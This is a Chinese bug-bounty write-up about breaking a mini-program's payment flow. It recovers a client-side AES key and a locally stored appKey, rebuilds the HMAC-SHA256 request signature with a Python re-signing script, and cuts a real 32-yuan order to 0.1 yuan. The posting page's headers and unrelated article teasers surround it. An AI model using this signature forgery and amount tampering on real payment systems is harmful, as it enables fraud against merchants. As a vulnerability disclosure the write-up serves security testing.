news 2026/5/12 15:23:05

从客户端加密到签名伪造、支付一分钱买下 32 元服务|金额篡改完整挖掘实录

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从客户端加密到签名伪造、支付一分钱买下 32 元服务|金额篡改完整挖掘实录

0x01 简介

这次分析的目标,是一个聚合了洗车、券包等能力的小程序支付链路。最初的切入点并不是“直接看到金额可改”,而是顺着一个更基础的问题往下挖:发往核心支付接口的签名,到底是服务端私有能力,还是客户端本地就能复现?很多时候,业务接口表面上看似“有签名保护”,实战中真正决定漏洞上限的,恰恰是这个签名能力归谁所有。如果签名只能由服务端私钥生成,那么前端即使把金额字段明文提交出来,也不一定能构成真正可利用的逻辑漏洞;但如果签名本身就在客户端本地完成,而且密钥还能被恢复出来,那整个问题的性质就完全变了。本篇文章记录的,就是一次从客户端加密配置入手,逐步恢复本地配置、还原签名算法、伪造合法请求,最后验证到真实业务订单付款阶段可被改价的完整过程。

本文仅用于技术学习与合规交流,严禁非法滥用。因违规使用产生的一切后果,由使用者自行承担,与作者无关。

现在只对常读和星标的才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!

末尾可领取挖洞资料/加圈子 #渗透安全HackTwo

0x02 正文详情

从可疑接口开始:

在这个小程序里,多个业务最终都会落到统一的支付拉起如下接口:

POST /xxx/xxx/get-wx-payurl

从抓包结果看,这个接口的请求体里直接带了大量高价值字段:{

"vaMchntNo": "...","vaTermNo": "...","totalAmount": 3200,"notifyUrl": "https://.../xxxxxStartWashCar","mchntOrderId": "...","subOpenId": "...","subAppId": "...","instMid": "xxx","tradeType": "xxxxxxx","msgType": "wx.unifiedOrder","loginToken": "..."}

这类接口第一眼很容易让人怀疑“金额是不是客户端直传”,但这里不能急着下结论。因为只要Authorization无法伪造,就算看得到这些参数,也未必能成功构造有效请求。所以,真正的第一步不是直接改金额,而是回答下面这个问题:这个请求的签名能力,到底掌握在谁手里?

逆向入口:签名函数并不在服务端

对源码做静态分析后,支付请求最终走到一个统一请求封装模块。继续往里追,可以看到请求头中的Authorization并不是服务端返回,而是客户端本地调用签名函数生成的:

Authorization = getAuthorization(body, appId, appKey, "post")

这已经说明一个很关键的事实:

  • 签名不是“服务器下发一次性签名”

  • 也不是“客户端拿 token 去换临时签名”

  • 而是客户端本地直接计算

这时候再问两个问题:

  1. appId

    从哪里来?

  1. appKey

    从哪里来?

如果这两个值来自安全硬件、服务端临时下发、或运行时不可导出存储,那么问题还没完全成立;但如果这两个值只是本地配置,那么整个签名保护就会被直接击穿。

配置不明文,但仍然在客户端本地

源码里没有直接把配置明文摆出来,而是用了一个典型的“本地密文配置 + 本地固定密钥解密”的做法。

对应逻辑大致可以抽象成这样:

const encryptedConfig = CONFIG.dataconst aesKey = "固定字符串"const plain = AES_ECB_Decrypt(encryptedConfig, aesKey)const runtimeConfig = JSON.parse(plain)

这一步的意义很重要。它说明配置虽然不是明文写死,但依然满足两个条件:

  • 密文在客户端本地

  • 解密密钥也在客户端本地

因此只要拿到小程序包,就能离线恢复出运行时配置。

恢复后的配置中,至少包含了这些关键字段:

  • appId
  • appKey
  • wxAppId
  • 若干业务回调地址

出于安全和脱敏考虑,这里不在文章中展示完整值,只保留形态说明:

appId = 8a81...0990appKey = b8a3...30e5

到这里为止,签名能力已经从“理论可能”推进到了“可被客户端离线恢复”。

签名算法还原:不是障眼法,而是标准 HMAC

继续分析签名函数后,可以把它抽象成下面这套流程:

  1. 将请求体序列化为紧凑 JSON

  1. 对请求体做SHA256

  1. 拼接:

    • appId + timestamp + nonce + bodyHash
  1. 对拼接结果做:

    • HMAC-SHA256(appKey, raw)
  1. 最终再进行 Base64 编码

伪代码如下:

body_json = json.dumps(body, separators=(",", ":"))body_hash = sha256(body_json).hexdigest()raw = appId + timestamp + nonce + body_hashsignature = base64(hmac_sha256(appKey, raw))

这一点非常关键,因为它把漏洞链从“看见字段”变成了“能够稳定重签并发包”。

也就是说,从这一刻开始,攻击者已经不再依赖官方小程序,也不再依赖服务端额外发放签名。

直接开始复现

编写用脚本重签,再回填到 Repeater。

使用脚本:sign_get_wx_payurl.py

先把修改后的完整 JSON 保存成body.json

#部分代码参考 def canonical_json(data: Dict[str, Any]) -> str: return json.dumps(data, ensure_ascii=False, separators=(",", ":")) def now_timestamp() -> str: return dt.datetime.now().strftime("%Y%m%d%H%M%S") def random_nonce() -> str: return str(random.randint(10**9, 10**10 - 1)) def build_signature(body: Dict[str, Any], timestamp: str, nonce: str) -> str: body_json = canonical_json(body) body_hash = hashlib.sha256(body_json.encode("utf-8")).hexdigest() raw = f"{APP_ID}{timestamp}{nonce}{body_hash}".encode("utf-8") return base64.b64encode(hmac.new(APP_KEY.encode("utf-8"), raw, hashlib.sha256).digest()).decode("ascii") python sign_get_wx_payurl.py --body-file body.json

脚本会输出:

  1. Authorization
  1. Content-Length
  1. 标准化后的Body

把这三项替换回 Burp Repeater 再发包即可。

直接篡改金额:真实 32 元业务订单,付款阶段改成 1 角

第一步:先创建真实业务订单

选择低风险业务链路,重新调用下单接口生成一笔真实订单。这里以洗车订单为例,业务原始金额是:32 元

下单接口成功返回:

  • outer_order_number
  • payAmount = 32
  • 对应业务回调地址

这说明前置订单是真实存在的,而不是伪造构造物。

第二步:在付款阶段改价

接着调用get-wx-payurl,但不按正常逻辑提交3200分,而是手工改成:​​​​​​​

totalAmount = 10结果服务端仍然返回:- `respCode = 0000`- `totalAmount = 10`- 新的 `miniPayRequest`

这个漏洞的原理

这个问题的危险性,不在于它只是一处“前端把金额放进请求体”,而在于它同时满足了三层条件:

签名边界失效

不需要官方客户端,不需要服务端私钥,也不需要中间人条件,就可以本地生成合法Authorization

业务订单绑定失效

支付接口没有强制要求mchntOrderId必须来自某个已校验完成的前置订单。

金额绑定失效

即便是已经创建好的真实业务订单,付款阶段仍然可以把金额改成攻击者指定值。这三点叠加后,漏洞已经不是“支付风险”而是完整的支付完整性缺陷

0x03 总结

这次挖掘最值得记录的,不只是最后把金额改成了 1,而是整个问题是怎么一步一步被确认的。一开始看到的是支付接口里有明文金额字段,但这还不能直接等价于可利用漏洞;漏洞危害关键,在于先确认签名是客户端本地可复现的,再确认新订单号可以独立生成支付会话,最后再把验证推进到真实业务订单付款阶段。这也是我一直以来的一个挖掘思路:不要看到“前端直传金额”就急着报漏洞,先看签名边界,再看订单绑定,再看金额绑定,最后再决定漏洞定性。最后愿各位师傅在后续挖洞之路中,精准定位漏洞、高效挖掘,天天出高危、次次有收获,挖洞顺利、不踩坑、多拿奖励,共同提升支付业务安全测试能力!🔥喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/12 15:19:56

神经形态视觉-触觉融合:事件驱动感知如何革新机器人抓取

1. 项目概述:当机器人学会“感知”世界在机器人技术领域,让机械臂稳定抓取并识别一个物体,听起来像是基础操作,但背后却是一个极其复杂的多模态感知问题。传统的机器人视觉系统依赖高帧率摄像头,配合强大的GPU进行图像…

作者头像 李华
网站建设 2026/5/12 15:11:23

8254定时/计数器在嵌入式系统中断与波形生成中的实战应用

1. 8254芯片基础与嵌入式系统中的应用定位 在嵌入式系统开发中,定时和计数功能就像系统的心跳和脉搏。8254可编程定时/计数器这颗诞生于上世纪80年代的芯片,至今仍在工业控制、仪器仪表等领域发挥着重要作用。它相当于一个"时间管家"&#xff…

作者头像 李华
网站建设 2026/5/12 15:11:20

当企业希望优化能耗时,如何借助能耗管理系统提升整体绩效?

企业如何依靠能耗管理系统优化策略 企业在推进能耗管理系统时,第一应注重建立完善的数据采集机制。这可以依靠智能计量设备,实现对能源使用情况的实时监控。基于采集的数据,企业可进行深入分析,识别用能高峰期及可优化区域&#x…

作者头像 李华
网站建设 2026/5/12 15:10:12

别再浪费本地显卡了!手把手教你用恒源云+PyCharm Pro远程跑深度学习模型(附Xshell/FileZilla配置)

云端算力革命:PyCharm Pro与恒源云构建的深度学习开发范式 当我在实验室第一次尝试训练ResNet-50模型时,笔记本风扇的轰鸣声和长达数小时的训练时间让我开始思考——有没有更优雅的解决方案?这就是云端开发环境的价值所在。对于深度学习开发者…

作者头像 李华